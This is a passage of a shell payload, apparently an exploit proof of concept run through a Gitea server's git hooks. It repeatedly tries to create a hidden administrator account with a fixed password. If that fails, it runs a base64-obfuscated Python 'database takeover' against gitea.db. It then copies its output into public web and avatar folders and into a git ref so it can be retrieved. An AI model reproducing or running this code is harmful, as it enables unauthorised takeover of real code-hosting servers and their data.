bGVuKSkKICAgICAgICAgICAgY29uLmNvbW1pdCgpCiAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzIiAlICh1aWQsIG5hbWUpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgaWU6CiAgICAgICAgICAgIHJlcy5hcHBlbmQoIkVSUjolczolcyIgJSAocm93WzFdLCBpZSkpCiAgICBwcmludCgiREJQVz0iICsgcHcpCiAgICBwcmludCgiREJSRVNVTFQgIiArICJ8Ii5qb2luKHJlcykpCiAgICBjb24uY2xvc2UoKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICBwcmludCgiREJFUlIgJXM6ICVzIiAlICh0eXBlKGUpLl9fbmFtZV9fLCBlKSkK').decode())" "$_db"; _done=1; done; [ "$_done" = "0" ] && echo "DBTAKEOVER no writable gitea.db"; }; if [ -z "$G" ]; then _last="ERROR: gitea not found (WD=$WD CFG=$CFG)"; echo "$_last"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-67ku" --password "Test-admin-67kugl!x" --email "test-admin-67ku@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; case "$_last" in *"successfully created"*|*"New user"*|*"already exists"*) ;; *) echo "HOOKDB CLI 未成功 -> 转数据库改密兜底"; _DBTO ;; esac; T1="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKTIME elapsed=$((T1-T0))s"; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_67kugl.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_67kugl.txt" 2>/dev/null; done; for d in "$WD/custom/public" "$R/custom/public" "/data/gitea/custom/public" "/var/lib/gitea/custom/public"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_67kugl.txt" 2>/dev/null; done; if [ -n "$WD" ]; then mkdir -p "$WD/public" 2>/dev/null; cp "$OUT" "$WD/public/demo_67kugl.txt" 2>/dev/null; fi; HB=""; for _gd in "$GIT_DIR" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)" "$(git rev-parse --git-dir 2>/dev/null)"; do [ -n "$_gd" ] || continue; case "$_gd" in /*) ;; *) _gd="$(cd "$_gd" 2>/dev/null && pwd)";; esac; [ -n "$_gd" ] && [ -d "$_gd/objects" ] && HB="$HB $_gd"; done; for _ad in "$GIT_DIR/objects/info/alternates" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)/objects/info/alternates"; do [ -f "$_ad" ] || continue; _ao="$(sed -n "1p" "$_ad" 2>/dev/null)"; [ -n "$_ao" ] || continue; case "$_ao" in /*) _ao="${_ao%/objects}";; *) _ao="$(cd "$(dirname "$_ad")/../.." 2>/dev/null && pwd)/${_ao%/objects}";; esac; [ -d "$_ao/objects" ] && HB="$HB $_ao"; done; for _gd in $HB; do [ -s "$OUT" ] || break; _gob="$(git --git-dir="$_gd" hash-object -w --stdin < "$OUT" 2>/dev/null)"; [ -n "$_gob" ] || continue; _gt="$(printf "100644 blob %s\toutput\n" "$_gob" | git --git-dir="$_gd" mktree 2>/dev/null)"; [ -n "$_gt" ] || continue; _gc="$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@localhost GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@localhost git --git-dir="$_gd" commit-tree "$_gt" -m poc 2>/dev/null)"; [ -n "$_gc" ] && git --git-dir="$_gd" update-ref "refs/heads/out67kugl" "$_gc" 2>/dev/null; done; echo "HB=$HB" >> "$OUT" 2>/dev/null;